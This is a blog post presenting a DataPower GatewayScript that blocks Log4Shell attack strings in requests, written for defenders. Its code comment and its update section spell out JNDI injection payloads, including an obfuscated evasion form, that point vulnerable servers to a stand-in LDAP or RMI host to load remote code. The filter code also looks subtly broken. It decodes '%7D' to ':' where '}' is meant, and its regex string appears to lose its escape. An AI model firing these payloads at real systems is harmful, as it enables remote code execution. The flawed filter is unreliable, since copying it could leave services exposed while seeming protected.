5 Min reading time

Log4Shell protection with DataPower GatewayScript

16. 12. 2021
Overview

A simple GatewayScript deployed to IBM DataPower Gateway can provide Log4Shell protection to vulnerable backend services.

Last weekend, the Log4Shell (CVE-2021-44228), a zero-day vulnerability had shaken the Internet.

The vulnerability was discovered in the widely used Apache Log4J logging framework. Log4J has a feature to embed the JNDI request in logs. Logging of non-sanitized messages can lead to arbitrary code execution on the server. In some cases, the “attack message” can pass through many infrastructure levels before reaching the vulnerable backend server.

The initial Log4J release that was created to address this issue (2.15.0) was found inadequate (CVE-2021-45046), so a new release (2.16.0) was created.

If you are still not sure all your backend services and applications are safe and you use the IBM DataPower Gateway as the entry point to your system, there is a quick solution that will help you sleep better.

IBM DataPower Gateway to the rescue

Custom code written for the IBM DataPower Gateway is mostly written using one of:

For Log4Shell protection, we have chosen to use the GatewayScript programming model to search for the attack attempts in the received message (including the input URL and HTTP headers).

We search for one of the following strings (anywhere) and reject the request if a string is found:

  • ${*:*} (new broader match)
  • ${jndi: (old match)
  • ${*:jndi: (old match)
  • ${env: (old match)

We must add the script to all rules on the DataPower that pass requests to the backends we want to protect.

The example usage of the Log4Shell protection script (in your case, there would be other actions between GatewayScript action and the Results action)

Log4Shell protection GatewayScript

const sm = require('service-metadata')
const hm = require('header-metadata')

/*
Block requests where log4j vulnerability is attacked, for example:
- curl http://172.17.0.3:10000/log4shell -A '${jndi:ldap://172.17.0.1:2000/test}'
- curl http://172.17.0.3:10000/log4shell -H 'x-some-header: ${jndi:ldap://172.17.0.1:2000/test}'
- curl 'http://172.17.0.3:10000/log4shell?name=${jndi:ldap://172.17.0.1:2000/test}&surname=Else'

Blocked strings including multiple evasion patterns:
- ${*:*}

Unfortunately these are not enough (https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/):
- ${jndi:
- ${*:jndi:
- ${env:
*/

// Pattern which match an exploit of Log4J vulnerability, including evasion patterns
const exploitPattern = new RegExp('\${[^:]+:[^}]+}')
// Can limit payload search to first N characters
const limitPayloadSearchCharacters = Number.MAX_VALUE
const checkPayload = true

let valid = true

// Block any string like "${*:*}"
function isExploit(text) {
	// Decode escape sequences (can be binary content)
	// $ - %24
	// { - %7B
	// : - %3A
	// } - %7D
	const textToCheck = text
		.replace(/(%|\u00)24/g, "$")
		.replace(/(%|\u00)7(B|b)/g, "{")
		.replace(/(%|\u00)3(A|a)/g, ":")
		.replace(/(%|\u00)7(D|d)/g, ":")
	return exploitPattern.test(textToCheck)
}

// Check if input URL contains Log4J attack
const uri = sm.getVar('var://service/URL-in')
if(isExploit(uri)) {
	console.warn(`Log4Shell attack found in the request URL: '${uri}'`)
	valid = false
}

// Check if HTTP headers contains Log4J attack
const headers = JSON.stringify(hm.current.get())
if(isExploit(headers)) {
	console.warn(`Log4Shell attack found in request headers: '${headers}'`)
	valid = false
}


if(valid && checkPayload) {
	// Check if HTTP body contains Log4J attack
	session.INPUT.readAsBuffer(function (error, buffer){
		if(error) {
			console.error(`Internal error processing the request: '${error}'`)
			session.reject('Internal error processing the request.')
		}
		else {
			const body = buffer
			if(isExploit(body.toString().substring(0, limitPayloadSearchCharacters))) {
				console.warn(`Log4Shell attack found in the request body.`)
				valid = false
			}
			if(!valid) {
				session.reject('Request rejected.')
			}
		}
	})
}
if(!valid) {
	session.reject('Request rejected.')
}

UPDATE

When I created the initial version of the script, I was not aware of some of the intricacies of Log4J 2 Lookups and all evasion patterns that can be used to avoid detection of the vulnerability attack.

For example, the lookup ${${lower:JNDI}:${::-r}${::-m}${::-i}://172.17.0.1:2000/test} will be converted to the lookup ${jndi:rmi://172.17.0.1:2000/test} and will result in the RMI call.

The great article about evasion patterns that are already used in the wild can be found on the Cloudflare blog created by John Graham-Cumming and Celso Martinho.

The initial script is now updated to cover more generic classes of Log4J vulnerability attacks. We now consider every string like “${*:*}” to be the attack. The current regexp used is ${[^:]+:[^}]+} which matches a string:

  • starting with “${“
  • containing at least one “:”
  • ending with “}”

 

We could even match any string containing the “${” sequence but I wanted to allow to send at least some benign strings like:

  • “${HOSTNAME}”
  • “${REGISTRY}/${IMAGE_FULLNAME}”

 

This pattern can be further improved or adjusted to your needs:

  • you can disable the validation of the request payload (if you are sure your backend will never log payloads)
  • you can limit the validation of the request payload to the first N bytes
  • you can reject all requests containing the “${” string (after unescaping escaped characters)
  • you can change the pattern to allow some additional strings, like “${REGISTRY}/${IMAGE_NAME}:${IMAGE_VERSION}”

 

Please be aware that it is of the utmost importance to upgrade all of your Java components to use the latest version of the Log4J library or use some of the alternatives. In the CROZ, we use the Logback with the SLF4J for many years. These are the default for Spring Boot applications so it could be you use those too.

However, when upgrading the Log4J library or applying work-around solutions be aware that some additional issues could occur. In some cases, the performance increase of the added checks could overwhelm your infrastructure. Please monitor the load to be sure the infrastructure will be able to handle that and/or disable unnecessary logging if possible.

Conclusion

This quick, easy and extendable protection can make your backend infrastructure safer. The solution is easily extendable and easy to maintain – please feel free to use it and improve it with your own ideas.

The cover image is created by kareni from Pixabay.

Get in touch

If you have any questions, we are one click away.

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Contact us

Schedule a call with an expert